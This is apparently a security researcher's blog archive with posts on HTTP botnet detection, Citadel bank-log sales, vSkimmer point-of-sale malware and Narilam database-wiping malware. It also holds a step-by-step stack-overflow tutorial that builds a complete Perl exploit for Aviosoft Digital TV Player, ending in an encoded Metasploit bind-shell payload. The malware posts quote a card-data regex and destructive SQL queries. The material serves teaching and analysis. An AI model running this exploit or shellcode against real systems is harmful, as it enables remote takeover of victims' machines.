Periodic Command Pull From C&C Servers Paves The New Way to Detect Botnets

noreply@blogger.com (Chintan Shah) — Sat, 02 Nov 2013 11:55:00 +0000

HTTP has been predominantly used by recent botnets and APTs as their primary channel of communication with the Command and Conrol servers . This number has significantly shown increase in the last few quarters. One of the research shows that more than 60% of the botnets use HTTP protocol to achieve C&C communication and the number has kept increasing. Below distribution shows the popularity and dominance of HTTP protocol among the top botnet families.

Couple of apparent reasons to use HTTP as a primary channel for C&C is that it cannnot be blocked on the network since it carries major chunk of the internet traffic today . Secondly , it is not hard , but nearly impossible to differentiate the legitimate HTTP traffic from the malicious one on the network perimeter unless you have the known signatures for it. This makes HTTP even more popular among malware authors.

Industry is well aware of the fact that traditional signature based approaches are no longer a solution to today's sophistication level of the threats and limitations with this has driven the shift of focus from signatures to behaviour. But we need to answer the question : What are those suspicious behaviours we should look for on the network ?

Before we answer that question , I'd like to throw some light on the typical lifecycle of botnet command and control over HTTP.

Botnets would typically connect to a small number of C&C domains . It may try to resolve too many domains over the short period of time when it does DGA kind of stuff , but once it successfully resolves a domain and connects, it will stay connected to the same domain for its lifetime
Once connected , it will send either HTTP GET / POST request to the specific resource ( URI ) of the C&C server as the registration / phone home communication.
It will execute the command received from the C&C server OR will either sleep for the fixed interval of time before connecting back again and pull the command from C&C.
Subsequently, it will connect to the server at fixed / stealth intervals and will keep pulling commands or might send keepalive messages to announce its existance periodically.

What we learn out of this behaviour is that botnets typically work in a “pull” fashion; they continuously fetch commands from the control server, either at fixed intervals or at stealth level . Quick example to demonstrate this behaviour is Zeus . Below is traffic snapshot of Zeus communicating with control server every 6 seconds.

Zeus C&C communication over the network

We realize that machine infected with botnet communicating with the control server periodically is the automated traffic . Since this behaviour can also be exhibited from the legitimated software and websites, another questions comes up here : How do we differentiate browser / human initiated traffic from the automated traffic ? Certain facts that we can definitely rely on :

It is abnormal for most users to connect to a specific server resource repeatedly and at periodic intervals. There might be dynamic web pages that periodically refresh content, but these legitimate behaviors can be detected by looking the server responses.
The first connection to any web server will always have response greater than 1KB because these are web pages. A response size of just 100 or 200 bytes is hard to imagine under usual conditions.
Legitimate web pages will always have embedded images, JavaScript, tags, links to several other domains, links to several file paths on the same domain, etc. These marks the characteristics of the normal web pages.
Browsers will send the full HTTP headers in the request unless it is intercepted by MiTM tools that can modify / delete headers.

All of the above facts allows us to think about the specific behaviour we can look on the network : Repetitive connections to the same server resource over HTTP protocol

Assume that we choose to monitor a machine under idle conditions–when the user is not logged on the machine–we can distinguish botnet activity with a high level of accuracy. We think about monitoring the idle host because that's the period where the traffic volume is less. It is kind of relatively easy to identify idle host due to the nature of the traffic that it generates ( usually version updates , version checks , keepalives etc ..). We 'd never expect the idle host to generate traffic to yahoo.com or hotmail.com.

Under these conditions , if the machine is infected with Spyeye botnet , traffic will look like this:

Notice that Zeus ( in the previous screenshot ) / Sypeye connects to one control domain and keeps sending HTTP POST every 6 and 31 seconds respectively to a specific server resource. Algorithmically, while idle, we’d deem a host's activity suspicious when :

The number of unique domains a system connects to is less than a certain threshold
The number of unique URIs a system connects to is less than a certain threshold
For each unique domain, the number of times a URI is repetitively connected to is greater than a certain threshold

Assuming the volume of traffic from the host is less, If we take the preceding conditions in a window of say two hours, we might come up with following:

Number of unique domains = 1 (less than the threshold)
Number of unique URIs connected = 1 (less than the threshold)
For each unique domain, the number of times a unique URI is repetitively connected to = 13 (greater than threshold)

The approach however, does not mandates that repetitive activity should be seen at these fixed intervals. If we choose to monitor within a larger window, we could detect more stealthy activities. The following flowchart represents a possible sequence of operations.

The first few checks are important to determine whether the host isn't talking too much. First, Total URI > threshold determines that we have enough traffic to look into. Next, Total Domain access >/= Y determines that the number of domains accessed is not too large. The final check is to see if Total unique URIs < Z. The source ends up on the suspicious list if we believe it has generated repetitive connections.

For instance, if the Total URIs = 30, Total Domain access = 3, and Total Unique URI accessed = 5, we guarantee a repetitive URI access from the host. Now if the number of repetitive accesses to any particular URI crosses the threshold (for example, 1 URI accessed 15 times within a window), we can further examine the connection and apply some of heuristics to increase our confidence level and eliminate false positives. Some heuristics we can apply:

Minimal HTTP headers sent in the request
Absence of UA/referrer headers
Small server responses and lacking structure of usual web page
Domain registration time and perhaps reputation as well.

Let’s look at an example of SpyEye sending minimal HTTP headers without a referrer header:

I implemented the proof of concept for this approach and I could detect the repetitive activity with relative ease.

Applying this method over several top botnet families exhibiting similar behaviour , I could detect them with medium to high level of confidence.

Behavioral detection methods will be the key to detecting next-generation threats. Given the complexity and sophistication of the recent advanced attacks, such detection approaches can address threats proactively–without waiting for signature updates–and will prove to be much faster.

Citadel Botnet Logs With Bank Account Logins On a Sale In Underground Forums

noreply@blogger.com (Chintan Shah) — Wed, 05 Jun 2013 02:11:00 +0000

Financial theft is one of the most lucrative forms of cybercrime. Malware authors continue to deliver sophisticated tools and techniques to unlock online bank accounts. Attackers design and develop botnets to perform financial fraud, targeting banks and other institutions for profit. These botnets traditionally have monitored victims’ Internet activities and intercepted banking transactions to extract account credentials and send them to their control servers. Recent botnets are armed with more advanced capabilities, yet traditional methods continue to be the most effective way to steal money.

Recently I came across an underground Russian forum in which an author was actively selling botnet logs with account-login details from one targeted bank.

These botnet logs were from the Citadel botnet Version 1.3.4.5 (Extreme Edition). Citadel is a variant of the popular Zeus botnet and has been widely seen since late 2012. The latest edition of this botnet has already been covered in several blogs out there.

Here is a snapshot of server code for extracting bank account information stored in the database of the C&C server.

Here is what this mysterious banking botnet can do.It can log all the credentials used to login into the bank account , from the Citadel infected machine and sends it to the C&C server.

Research has revealed that Citadel is one of the most active botnets in the world, spanning several locations across Europe. One of the major reasons for its common use is that the botnet setup services are fairly cheap via the underground community. Here is an advertisement for the Citadel setup service.

Same user advertising his setup service on another forum.

Yet another service offered for the same botnet.

Many cybercriminals avoid transferring money to their own accounts due to the risk of prosecution, but selling the account information and making the money from the sale is an effective way of preserving anonymity. Thus the attacker can’t be held accountable for the transfers made from a stolen account.
As the precautionary measure, we should look out for accounts being accessed or transactions made to/from different geographical locations. Banks place limits on the amount of money that can be transferred in one day or in a single transaction. Spotting small, unauthorized transactions made from an account should be noticeable and prevent major financial losses.

VSkimmer Botnet Targets Point-Of-Sale Devices : Be Cautious When You Swipe Your Credit Cards Next Time For Shopping !!..

noreply@blogger.com (Chintan Shah) — Sun, 28 Apr 2013 09:33:00 +0000

I was monitoring one of the Russian underground forums a while back, and came across a discussion thread where the author was offering the malware for sale which had the capability to steal the credit card information from the Windows machines attached the Credit / Debit card payment devices.This malware, vSkimmer, can detect the card readers, grab all the information from the Windows machines attached to these readers, and send that data to a control server. These kind of equipments are typically known as Point-Of-Sale devices used for processing the Credit / Debit card financial transactions and are used in shops , hotels and other industries . The author of the thread also discusses other capabilities of this malware, which appears to be a successor of Dexter discovered last year , but with additional functions.

Later in the thread , author of this malware discusses about the payment methods and the sale policies.

We already know about botnets such as Zeus , SpyEye , Citadel ( variant of Zeus ) which performs financial fraud using extremely sophisticated techniques including intercepting the victims’ banking transactions. VSkimmer is another example of how financial fraud is actively evolving and how financial Trojans are developed and passed around in the underground community. This botnet is particularly interesting because it directly targets card-payment terminals running Windows.

I analyzed samples of this malware and figured out how it steals the credit card information and its additional control functionalities as well. While performing the API tracing , we found it uses fairly standard antidebugging techniques .

The malware collects the following information from the infected machine and sends it to the control server:

Machine GUID from the Registry :
Locale info
Username
Hostname
OS version

This malware uses a standard installation mechanism and copies itself as svchost.exe into %APPDATA% , modifies the registry key to add itself under the authorized list of apps, and runs ShellExecute to launch the process. One function of vSkimmer if the Internet is not available is to wait for a USB device with the volume name KARTOXA007 to be connected to the infected machine and to copy all the logs with the file name dumz.log and the card info collected from the victim to the USB drive.

As you can notice in the above code , it tries to resolve the C&C server www.posterminalworld.la and if it does not resolve , it will call another subroutine to wait for the USB drive to be connected and copies the collected logs.

I checked by disconnecting from the Internet. The malware enumerated all the drives and created the file dumz.log in the drive with the preceding name.

Extracting Credit Card numbers from the memory

VSkimmer maintains the whitelisted process, which it skips while enumerating the running processes on the infected machine.

Once vSkimmer finds any running process not in the whitelist, it executes OpenProcess and ReadProcessMemory to read the memory pages of the process and invokes the pattern-matching algorithm to match the regular expression “?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}\\??”)” and extract the card info read by the payment devices. This is done recursively for every process running in the infected machine and not on the whitelist and continues doing it as long as the malware runs inside the system.

Vskimmer Network Communications

Before communicating with the command and control server, the malware B64-encodes all the machine information collected and appends it to the URI. The encoded string follows this format:

While this malware ran, we saw the following response. Note that the commands are within the tag.

Once vSkimmer receives a response from the server, it executes the following routine to parse the command:

Because the response from the server during execution was null, the malware extracts the 3-byte command and tries to match it with the other commands implemented by vSkimmer. First it checks if the command from the server is “dlx.”

If not, then vSkimmer checks for the “upd” command. These commands implement the HTTP download and execute (“dlx”) and update of the bot (“upd”), respectively.

As we saw earlier in this post, vSkimmer can also grab the Track 2 data stored on the magnetic strip of the credit cards. This track stores all the card information including the card number. (You can read more about the Track 2 data format on Wikipedia. In summary , the data stored is :

Primary Account Number : The number printed on the front of the card
Expiration Date
Service Code: the three-digit number

Vskimmer botnet Control Panel

Stack Overflows - Part 2 : Executing The Shellcode

noreply@blogger.com (Chintan Shah) — Mon, 18 Feb 2013 04:49:00 +0000

In the part 1 , we talked about lot of basics of stack overflow and some of the theoritical concepts that will help us get into it little deeper . We stopped at the point where we had exception thrown from the debugger . In this part , we will see how to translate this vulnerability into a working exploit and make the vulnerable software execute our own code.

As an example , we will use the stack overflow vulnerability discovered in Aviosoft Digital TV Player Professional 1.x reported here . You can get the copy of vulnerable application and PoC exploit over here. This software has the stack based buffer overflow vulnerability when opening the specially crafted and malicious .plf file which can lead to the arbitrary code execution on the machine running this software if it opens the specially crafted .plf file .

The primary reason I selected this is that it is a very simple exploit which serves as a perfect example for the beginners to understand the process of building the working exploits. We will walk through the process step by step and build the exploit from the scratch .

System setup

To be able to reproduce and trigger this vulnerability , I would recommend using Windows XP SP2 as the victim system . This is precisely because of the fact that this version of the Windows XP does not have some of the stack overflow protection mechanisms that is introduced in SP3 and later . In case if you still wish to use SP3 as your victim system , you must turn off Data Execution Prevention ( DEP ) . Windows XP SP3 has the DEP turned on by default for all the services . If you turn this off , you are good to go ahead ..

Next , I am using Backtrack 5 as my attacking system . I 'll be using perl / python environment to write the exploits and Metasploit to build the shellcode. Both of these are virtual machines bridged to be able to talk to each other . You need not to have the exact similar setup and it should be pretty Ok to use whatever you have as long as you are able to translate this demo to your systems . Along with the vulnerable software installed in the victim system , We also need any one of your favourite debuggers to be installed . It could be either Immunity / Windbg / Ollydbg . I would suggest you install alteast Immunity and ollydbg debuggers in your VM. Immunity debugger has a very powerful plugin interface scriptable in python and several python scripts available already to make our exploit developement lot more easier.

Triggering the vulnerability

First step towards building a working exploit is to verify the vulnerability and make sure that the application is throwing an exception / crashing when it is supplied malicious or specially crafted .plf file. You should be able to find the information about the vulnerable copy of the software from the relevant page on exploit db. I wrote the following simple perl script , which will write the content into the .PLF file

This simple perl script will create the .PLF file with 500 bytes of data. I wrote 500 "A"s ( Hex : 0x41) into the .PLF file . Next , we open the software in the debugger ,run it and feed this file into the Aviosoft Digital TV player :

And we see the application has crashed throwing the exception and debugger is in control of the program as it catches the exception .

If we take a look the crash in Windbg , it will look like this :

At this point , application throwed the "Access violation" exception which is being caught and reported by the debugger because application couldn't read the memory at location 0x41414141 . It read our .PLF file into the buffer and because it did not check on the number of bytes that it read on the stack , it overwrote the application's stack with the junk data ( several 0x41s in this case ) which has ultimately gone and overwrote the Instruction pointer ( EIP register ) . If you observe the stack pointer , ESP has 0x0012F274 which also points at an offset in our supplied buffer of junk data.

Another point worth noticing over here is that before trying the file with 500 bytes of data , I also tried with 100 and 200 bytes of data but the application did not crash . This effectively means that the application will die if we supply the file which contains somewhere between 200 to 500 bytes of data. This information will eventually help us to figure out the exact offset in our buffer at which the Instruction pointer is overwritten.

We need to be aware that not every application crash is exploitable though . It may be just a denial of service , but in lot of cases it is . Our goal here is to utilize this crash and make the application do something which it is not intended to. We will look to redirect the execution flow of the application to execute the code that we want . To achieve this , primarily information that we need to have is : The exact offset at which the Instruction pointer is overwritten . This is the basic requirement for controlling the execution flow of the program . If we are able to figure this out , we can overwrite the EIP , exactly at that offset , with the usable memory address that contains the instruction which can help us Jump to our code.

In the previous tutorial , we knew the exact size of our buffer and we could easily guess the offset at which the EIP should be overwritten but in this case , we have no information on the size of buffer . Also , the overflowed stack has all "A"s at the moment. It is not going to be easy to figure out the offset , until we break the buffer down to multiple pieces to get the better idea .

Determining the buffer size and exact offset to overwrite the Instruction pointer

We will modify the perl script to break the buffer into smaller portion and each portion will contain the different set of bytes and then we'll append them to create larger one :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 250;
my $buffer_2="B" x 150;
my $buffer = $buffer_1 . $buffer_2;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";

close($FILE);

We attach the software to the debugger again and load the .PLF file created with above exploit.

This time , we supplied 400 bytes of data with two different sets of byte patterns and the application still crashed with EIP overwritten with 0x42424242. Now we are sure that buffer size is somewhere between 250 and 400 bytes . i.e the offset to overwrite the EIP should be between 250 to 400 bytes . We still narrow down the gap with little modification to the script as below :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 250;
my $buffer_2="B" x 50;
my $buffer = $buffer_1 . $buffer_2;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";

close($FILE);

And the result is the crash with EIP : 0x42424242 . We now have much better visibility . Our offset should be within 250 to 300 bytes . Will little more similar experiments , I eventually figured out that the offset at which the EIP is written is 260 bytes within our buffer. Crash in Windbg will look like this :

ESP contains 0x0012F274 as we noticed before and if we dump the contents of the stack we will see the ESP pointing to the portion of our supplied buffer of Bs ( Hex 0x42 ) :

This was little time consuming since we had to make several guesses to come out with the correct offset . We have another better and a direct way to do this .We can determine the correct offset right at the first shot using the Metasploit " pattern_create.rb" and " pattern_offset.rb" tools .. pattern_create.rb is supplied with buffer size as an argument and it will generate the unique pattern of strings . We can use that string in our exploit and we'll be able to figure out the exact offset right at the first attempt . On Backtrack 5 , you need to go to the /opt/metasploit/msf3/tools directory and run the pattern_create.rb with the size of the string to output :

We can use this generated pattern in our exploit :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with" . length($buffer) . "bytes of data\n";

close($FILE);

We load the application again in the debugger , launch the exploit and this is what we'll see again.

Instruction pointer now has 0x37694136 . Recall the concept of little endian Vs big endian we discussed in the previous part. The fact is EIP is overwritten with 0x36416937 since the Intel processors stores the data in the memory in little endian format. We now have the unique string with us to search for in the buffer and we can determine the offset with metasploit "pattern_offset.rb " tool .

By now , we should be able to clearly understand the fact that the exact buffer size we need to overwrite the EIP is 260 . Another thing that we need to figure out is the offset at which the ESP is pointing to our buffer . By doing this , we would exactly know where to place our shellcode on the stack . If we observe the stack in Windbg , that is what we have :

ESP , at this point has 0x0012F274 which is pointing to the part of our buffer . I dumped the stack at this address and the value is 0x6A33416A ..We will again use the metasploit pattern_offset.rb tool to determine the exact offset in our buffer pointed by ESP . Again , remember the fact that the data is stored in the little endian format . so we need to search for 0x6A41336A while using the metasploit tool . I ran patter_offset.rb and here is the offset I found on my system :

Ah Wow !! ..With all the previous excercise that we did , we now have information about two very critical things :

1 . We know that the buffer size is exactly 260 bytes before EIP is overwritten . This translates to the fact that , at this offset , we can overwrite the return address with something useful. We'll see that in a moment.
2 . Another info we have at this point is : ESP is pointing at an offset 280 in our buffer. We will use this fact to place our shellcode and finally make the program jump to it to execute that code. We'll see that too in a moment .

Before we go ahead , let's do a final verification on this info . I'll craft the buffer in the following way :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260;
my $buffer_2="B" x 4;
my $buffer_3="C' x 16;
my $buffer_4="Our Shellcode is here";
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";

close($FILE);

We are expecting two things out of this exploit :

1 . EIP should have the value 0x42424242 . we crafted the buffer with 260 bytes of "A" and then 4 bytes of "B" with which EIP should be written.
2 . ESP should point to the string "Our Shellcode is here" on the stack . This is where we will place our shellcode to execute .

I launched the exploit in Windbg and here is what I saw:

Wow !!..This is what we exactly wanted..we got the access violation and EIP has the value 0x42424242 and ESP is pointing to our string as we expected. Now think about this : At this location , if we place our shellcode ( i.e the code that we want this application to execute ) and if we overwrite the EIP with the address to the instruction that can jump to our shellcode , we are done !! .

Important point to remember here is that when the application crashes , we need to see if EIP written with the supplied buffer..If it is , we can control EIP with the value that we want . Next , we need to see all the registers and check which one them is pointing to the portion of our buffer . In this case it was ESP but it could be EAX , EBX or other register . Once we have both of these , all we need to do is overwrite the EIP with the address of the instruction that can jump to our shellcode and over !! ..However , stack overflows are not always that easy ..There are few things that we need to take care of above this : Bad characters , Null bytes in shellcode , available limited buffer space to host our shellcode etc. We'll come to these topics and see how to overcome them ..

How much memory space do you have to host your shellcode ?

This is another question that we need to get the answer for. This will help us figuring out how long our shellcode can be . Assume that the code we want the application to execute , becomes too large to fit into the limited buffer size , then we may need to reduce its size so that it can fit itself or we need to look some for other alternatives. Let's try and determine how much buffer space we have in this case . This will exactly help us gain the visibility on how large our shellcode can be . I did slight modification in the script :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260; # buffer space before EIP
my $buffer_2="B" x 4; # EIP overwritten with this value
my $buffer_3="C' x 16;
my $buffer_4="D" x 600; # ESP is pointing here
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";

close($FILE);

When I launched the exploit again , I saw the ESP pointing to string of "D" and stack is filled up with it all the way down. This basically confirms that we have over 600 bytes of buffer space to host our shellcode. We are all good.

Finally...Buiding the Exploit.

Since we see ESP currently with the value 0x0012F274 , directly pointing to our supplied buffer , one of the very first thing that we would like to try is overwriting the EIP with the value of the ESP and trying to redirect the code execution..Let's actually craft the exploit and see what happens . I am modifying the script in the following way :

#!/usr/bin/perl

my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260; # buffer space before EIP
my $buffer_2="\x74\xf2\x12\x00"; # EIP overwritten with this value
my $buffer_3="C' x 16;
my $buffer_4="D" x 600; # ESP is pointing here
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";

close($FILE);

Remember that the data is stored in the little endian format ..So we need to write the address other way round ( in reverse order ) to be able to save it on the stack in the correct order.

If you observe the debugger output I got after launching this exploit , we managed to overwrite the EIP with the value that we wanted to ( 0x0012F274 in this case ). ESP is also pointing to the same location and you see that it tried to execute the instruction at that location but generated the exception ..If we dump the ESP , I dont see all the "D"s that I expected and we saw a while back . This is because of the fact that our buffer had a Null byte in the address which acted as a string terminator . .PLF file was read into the memory and since this is a string buffer , it got terminated as soon as it encountered the null byte in the address and the buffer wasn't copied any further which makes the exploit useless.

Above this , overwrite EIP with the direct address of the stack has multiple problems :

-- This address is not static . You may see ESP pointing to the different address on the different OS versions.
-- Jumping to direct memory address is a bad idea because of the fact that when you are exploiting remotely, you dont know where the application stack is allocated and where the ESP is pointing to ..

So this solution will not work for us because of the null byte problem and exploit wont be reliable as well . Alternative way we can redirect to our code is to search for the JMP ESP instruction in the process memory or in the memory of the loaded application modules ( DLLs ). If we overwrite the EIP with the address of the JMP ESP instruction , after it executes that instruction , ESP will be placed into EIP and we can execute our own code . Let's search for the JMP ESP instruction using ollydbg . While searching for this , we need to make sure that the address does not contain any Null ( 0x00) bytes.

Once is application is running in the debugger , we see lot of application specific modules loaded in there..When you are searching for the JMP ESP instruction , it is always preferable to use the DLLs that comes with the application rather than system DLLs ..This is because these DLLs are usually not compiled with ASLR and SafeSEH enabled ..In effect , these will make our exploit lot more reliable .

I searched for this instruction in EqualizerProcess.dll which comes with the software , and found the JMP ESP instruction at address 0x02365005..Address could be different in your system. With all this info , I will build the final exploit that will have the shellcode to launch calc.exe . Here is the final script :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $buffer_1="A" x 260; # Junk data
my $buffer_2="\x05\x50\x36\x02"; # EIP overwritten with the address of JMP ESP
my $buffer_3="\x90" x 16; #NOP padding
my $buffer_4="\x31\xc0\x50\x68\x63\x61\x6c\x63\x89\xe3\x50\x53\xbb\x85\x25\x86\x7c\xff\xd3\x50\xbb\xfa\xca\x81\x7c\xff\xd3"; # ESP points here . Shellcode to spawn calc.exe
my $buffer = $buffer_1 . $buffer_2 . $buffer_3 . $buffer_4;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

When I again launched the exploit :

We've successfully exploited the buffer overflow vulnrerability in Aviosoft Digital TV Player..but what if we want to do something more interesting than just launching calc.exe? Let's use metasploit payload generator and generate the shellcode that can open a port and bind a shell on the victim system..Metasploit payload generator can generate variety of shellcode with different parameters depending on what you'd want to do .On Backtrack 5, go to the /pentest/exploits/framework2/ and fire the following command to look at the list of payloads available for various OS..

#msfpayload -l

We can generate TCP shell bind payload which will bind the shell on port TCP port 8888 on victims' machine . Use following command.

#msfpayload windows/shell_bind_tcp LPORT=8888 P

LPORT is the local port on which it should listen and P is the output in the perl format . Here is the shellcode that you get in the perl format :

Notice that the shellcode size generated here is 341 bytes which is long if we have the limited buffer space available with us.In this case size of the buffer is not the problem but notice the Null bytes right in the first line of our shellcode ..This is a serious concern. If we place this shellcode in our exploit, it wont work because null byte will act as the string terminator and rest of our buffer will not be copied on the stack . We should avoid atleast \x00 , \x0a, \x0d in our shellcode since these are default bad characters . There could be other bad characters as well which we will have to figure out by comparing our original generated shellcode with the shellcode existing in the memory. For now , to overcome this we will use the raw output and pipe this into the msfencode to remove the bad characters with followng command :

msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode -b '\x00\x0a\x0d' -t perl

This will give the output in the Perl format and see that now there are no null bytes but size of the shellcode has increased .

Metasploit generates different output of the shellcode during each successive runs.So you shouldn't be afraid if you see different shellcode on your machine every time. I compared the shellcode in the memory with that in our exploit and I found one more bad character: \x1a. and with that I fired following command again to generate the shellcode free from this character :

msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode -b '\x00\x0a\x0d\x1a' -t perl

and ended up with the working shellcode. Here is our final exploit :

#!/usr/bin/perl
my $file= "Aviosoft_exploit.plf";
my $junk="A" x 260; # Junk data
my $EIP="\x05\x50\x7d\x02";
my $nop="\x90" x 50; # Make sure you have enough NOPs before the shellcode for the decoder to work correctly while in memory , else the exploit will fail .

my $shellcode = "\xdb\xd2\xba\x9a\xe7\x37\x15\xd9\x74\x24\xf4\x5b\x33\xc9" .
"\xb1\x56\x31\x53\x18\x83\xeb\xfc\x03\x53\x8e\x05\xc2\xe9" .
"\x46\x40\x2d\x12\x96\x33\xa7\xf7\xa7\x61\xd3\x7c\x95\xb5" .
"\x97\xd1\x15\x3d\xf5\xc1\xae\x33\xd2\xe6\x07\xf9\x04\xc8" .
"\x98\xcf\x88\x86\x5a\x51\x75\xd5\x8e\xb1\x44\x16\xc3\xb0" .
"\x81\x4b\x2b\xe0\x5a\x07\x99\x15\xee\x55\x21\x17\x20\xd2" .
"\x19\x6f\x45\x25\xed\xc5\x44\x76\x5d\x51\x0e\x6e\xd6\x3d" .
"\xaf\x8f\x3b\x5e\x93\xc6\x30\x95\x67\xd9\x90\xe7\x88\xeb" .
"\xdc\xa4\xb6\xc3\xd1\xb5\xff\xe4\x09\xc0\x0b\x17\xb4\xd3" .
"\xcf\x65\x62\x51\xd2\xce\xe1\xc1\x36\xee\x26\x97\xbd\xfc" .
"\x83\xd3\x9a\xe0\x12\x37\x91\x1d\x9f\xb6\x76\x94\xdb\x9c" .
"\x52\xfc\xb8\xbd\xc3\x58\x6f\xc1\x14\x04\xd0\x67\x5e\xa7" .
"\x05\x11\x3d\xa0\xea\x2c\xbe\x30\x64\x26\xcd\x02\x2b\x9c" .
"\x59\x2f\xa4\x3a\x9d\x50\x9f\xfb\x31\xaf\x1f\xfc\x18\x74" .
"\x4b\xac\x32\x5d\xf3\x27\xc3\x62\x26\xe7\x93\xcc\x98\x48" .
"\x44\xad\x48\x21\x8e\x22\xb7\x51\xb1\xe8\xce\x55\x7f\xc8" .
"\x83\x31\x82\xee\x01\x7a\x0b\x08\x2f\x6a\x5a\x82\xc7\x48" .
"\xb9\x1b\x70\xb2\xeb\x37\x29\x24\xa3\x51\xed\x4b\x34\x74" .
"\x5e\xe7\x9c\x1f\x14\xeb\x18\x01\x2b\x26\x09\x48\x14\xa1" .
"\xc3\x24\xd7\x53\xd3\x6c\x8f\xf0\x46\xeb\x4f\x7e\x7b\xa4" .
"\x18\xd7\x4d\xbd\xcc\xc5\xf4\x17\xf2\x17\x60\x5f\xb6\xc3" .
"\x51\x5e\x37\x81\xee\x44\x27\x5f\xee\xc0\x13\x0f\xb9\x9e" .
"\xcd\xe9\x13\x51\xa7\xa3\xc8\x3b\x2f\x35\x23\xfc\x29\x3a" .
"\x6e\x8a\xd5\x8b\xc7\xcb\xea\x24\x80\xdb\x93\x58\x30\x23" .
"\x4e\xd9\x40\x6e\xd2\x48\xc9\x37\x87\xc8\x94\xc7\x72\x0e" .
"\xa1\x4b\x76\xef\x56\x53\xf3\xea\x13\xd3\xe8\x86\x0c\xb6" .
"\x0e\x34\x2c\x93";

my $buffer=$junk . $EIP . $nop . $shellcode;
open($FILE,">$file");
print $FILE $buffer;
print "PLF File Created successfully with " . length($buffer) . " bytes of data\n";
close($FILE);

Restarted the debugger and launched the exploit again :

And boom !!. Game is over !! ..Here you see the victim machine has opened the TCP port 8888 and is now listening on that port ..

Let's check if we can get the shell on that port as promised by the shellcode. I did a Telnet from another machine to victim on port 8888.

#Telnet 192.168.246.137 8888

This is it..Hope you'd now be able to build your own working exploit ..In the next part , we'll take a look into some of the other aspects of Stack overflows and few debugger plugins which can make your life lot more easier..

"Narilam" Malware Attacks Iranian Financial Infrastructure

noreply@blogger.com (Chintan Shah) — Fri, 30 Nov 2012 10:59:00 +0000

Iranian infrastructure has been consistently under the radar of the attackers since last couple of years ..We have already witnessed some of the most organized and sopisticated attacks like Stuxnet , Duqu and similar crimes against them in the past . We have come across yet another attack against Iran which is primarily targetting MSSQL Databases of few Iranian Financial softwares.This attack has been named as "Narilam" because one of the financial software that it targets, named "Malyran".

I analyzed several samples of this malware, one of which was about 2MB. From the binaries’ headers, it looks as though this attack has been going on for a while: The Trojan was compiled with Borland C++ in 2010.

While one of the samples I looked at had a timestamp way back of 2002 ..Although these headers could have been faked, while analyzing the code we found the date April 25, 2010, which leads us to believe that this threat has existed for more than two years.

The Iranian CERT team has published an alert for this malware, indicating that Narilam has been known since 2010 by a different name.

Targets of Narilam malware :

The installation process of this malware is fairly standard in creating the start-up registry entries and copying itself as lsass.exe into the system directory. It targets certain SQL databases and tables of the following Iranian finance and banking software.

Maliran (integrated financial and applications software)
Shahd (integrated financial, commercial, and retail software)
Amin (banking software)

Narilam checks for the presence of these software and exits the infected systems if it does not find them.

Although the malware code doesn’t seem to employ any sophisticated techniques compared with its predecessors, it can connect to the specific databases via OLE DB and send SQL queries to update or delete records and drop certain tables with specific names. Here are some of the SQL queries that we’ve found in the code:

Update Asnad Set SanadNo=@SanadNo1,LastNo=@SanadNo1,FirstNo=@SanadNo1 Where Cast(SanadNo as int)=@SanadNo and Raj=@Raj
Set @SanadNo=(select Max(Cast(sellercod As int )) from A_Sellers
Delete from A_Sellers Where Cast(sellercod as int)=@SanadNo
Update A_TranSanj Set Tranid=@SanadNo1 Where Cast(Tranid as int)=@SanadNo and Raj=@Raj
Delete from Koll Where Cast(Koll as int)=@SanadNo
Delete from Moein Where Cast(Moein as int)=@SanadNo
Drop table Holiday_1
Set @SanadNo=Round(@SanadNo * (SELECT RAND(@IDLE)),0,0
Set @Raj=(select Max(Raj) from R_DetailFactoreForosh Where Cast(SanadNoForosh as int)=@SanadNo
Update R_DetailFactoreForosh Set SanadNoForosh=@SanadNo1 Where Cast(SanadNoForosh as int)=@SanadNo and Raj=@Raj

Here are the some of the database tables that Narilam targets for updating and deleting records:

Holiday_1
Holiday_2
A_Sellers
A_TranSanj
Koll
R_DetailFactoreForosh
Moein
Tafsily
Vamghest

Some of the table dropped from the database:

Holiday_1
Holiday_2
A_Sellers

We also came across the SQL query that tries to access MS SQL Server's sysobjects table.

Binary also contains the sequence of code to further corrupt the database with random values

